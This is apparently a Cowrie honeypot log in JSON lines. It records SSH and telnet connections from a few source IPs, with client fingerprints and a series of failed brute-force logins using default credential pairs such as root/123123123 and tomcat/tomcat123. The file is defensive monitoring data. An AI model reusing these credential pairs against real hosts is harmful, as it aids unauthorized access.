{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:15.819549Z","src_ip":"192.109.200.237","session":"ce218eaf49d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecs-user","password":"ecs-user","message":"login attempt [ecs-user/ecs-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:16.070364Z","src_ip":"192.109.200.237","session":"ce218eaf49d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:17.158386Z","src_ip":"192.109.200.237","session":"ce218eaf49d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.84801173210144,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:18.452280Z","src_ip":"152.42.224.71","session":"1b842d7093cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33296,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ea03a106e7e","protocol":"ssh","message":"New connection: 192.109.200.237:33296 (159.203.135.109:22) [session: 0ea03a106e7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:19.167330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:19.172067Z","src_ip":"192.109.200.237","session":"0ea03a106e7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:19.254201Z","src_ip":"192.109.200.237","session":"0ea03a106e7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mongodb","password":"mongodb","message":"login attempt [mongodb/mongodb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:19.557870Z","src_ip":"192.109.200.237","session":"0ea03a106e7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:20.756547Z","src_ip":"192.109.200.237","session":"0ea03a106e7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51384,"dst_ip":"159.203.135.109","dst_port":22,"session":"3686633c0a52","protocol":"ssh","message":"New connection: 192.109.200.237:51384 (159.203.135.109:22) [session: 3686633c0a52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:22.807259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:22.815305Z","src_ip":"192.109.200.237","session":"3686633c0a52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:22.897487Z","src_ip":"192.109.200.237","session":"3686633c0a52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:23.144477Z","src_ip":"192.109.200.237","session":"3686633c0a52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.30369472503662,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:23.399300Z","src_ip":"152.42.224.71","session":"0d552b618356","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:24.229774Z","src_ip":"192.109.200.237","session":"3686633c0a52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44858,"dst_ip":"10.17.0.5","dst_port":23,"session":"b210de5b0b6b","protocol":"telnet","message":"New connection: 152.42.224.71:44858 (10.17.0.5:23) [session: b210de5b0b6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:25.194318Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51398,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b6c3738c8b4","protocol":"ssh","message":"New connection: 192.109.200.237:51398 (159.203.135.109:22) [session: 5b6c3738c8b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:26.324908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:26.331277Z","src_ip":"192.109.200.237","session":"5b6c3738c8b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:26.414111Z","src_ip":"192.109.200.237","session":"5b6c3738c8b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:26.664382Z","src_ip":"192.109.200.237","session":"5b6c3738c8b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:27.750348Z","src_ip":"192.109.200.237","session":"5b6c3738c8b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50032,"dst_ip":"10.17.0.5","dst_port":23,"session":"343e9f38b8ae","protocol":"telnet","message":"New connection: 152.42.224.71:50032 (10.17.0.5:23) [session: 343e9f38b8ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:28.277909Z"}
{"eventid":"cowrie.session.closed","duration":93.08494591712952,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:29.200595Z","src_ip":"152.42.224.71","session":"1d7da181b650","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51414,"dst_ip":"159.203.135.109","dst_port":22,"session":"771b2cf128c4","protocol":"ssh","message":"New connection: 192.109.200.237:51414 (159.203.135.109:22) [session: 771b2cf128c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:29.636446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:29.641194Z","src_ip":"192.109.200.237","session":"771b2cf128c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:29.723318Z","src_ip":"192.109.200.237","session":"771b2cf128c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat123","message":"login attempt [tomcat/tomcat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:29.969358Z","src_ip":"192.109.200.237","session":"771b2cf128c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:31.133299Z","src_ip":"192.109.200.237","session":"771b2cf128c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53692,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4dcf2bfec42","protocol":"ssh","message":"New connection: 192.109.200.237:53692 (159.203.135.109:22) [session: f4dcf2bfec42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:33.151495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:33.159386Z","src_ip":"192.109.200.237","session":"f4dcf2bfec42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:33.241149Z","src_ip":"192.109.200.237","session":"f4dcf2bfec42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":33548,"dst_ip":"159.203.135.109","dst_port":22,"session":"621c7c9e81fd","protocol":"ssh","message":"New connection: 194.113.233.25:33548 (159.203.135.109:22) [session: 621c7c9e81fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:33.383887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:33.388758Z","src_ip":"194.113.233.25","session":"621c7c9e81fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:33.483277Z","src_ip":"194.113.233.25","session":"621c7c9e81fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:33.491287Z","src_ip":"192.109.200.237","session":"f4dcf2bfec42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789abc","message":"login attempt [root/123456789abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:33.779504Z","src_ip":"194.113.233.25","session":"621c7c9e81fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.727257013320923,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:33.991976Z","src_ip":"152.42.224.71","session":"7b379f20cad8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:34.698005Z","src_ip":"192.109.200.237","session":"f4dcf2bfec42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50038,"dst_ip":"10.17.0.5","dst_port":23,"session":"9806aef00a28","protocol":"telnet","message":"New connection: 152.42.224.71:50038 (10.17.0.5:23) [session: 9806aef00a28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:34.731192Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:34.879235Z","src_ip":"194.113.233.25","session":"621c7c9e81fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53712,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb18e2e8b877","protocol":"ssh","message":"New connection: 192.109.200.237:53712 (159.203.135.109:22) [session: eb18e2e8b877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:36.754445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:36.759371Z","src_ip":"192.109.200.237","session":"eb18e2e8b877","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:36.841317Z","src_ip":"192.109.200.237","session":"eb18e2e8b877","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:37.085450Z","src_ip":"192.109.200.237","session":"eb18e2e8b877","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:35:38.170357Z","src_ip":"192.109.200.237","session":"eb18e2e8b877","protocol":"ssh"}
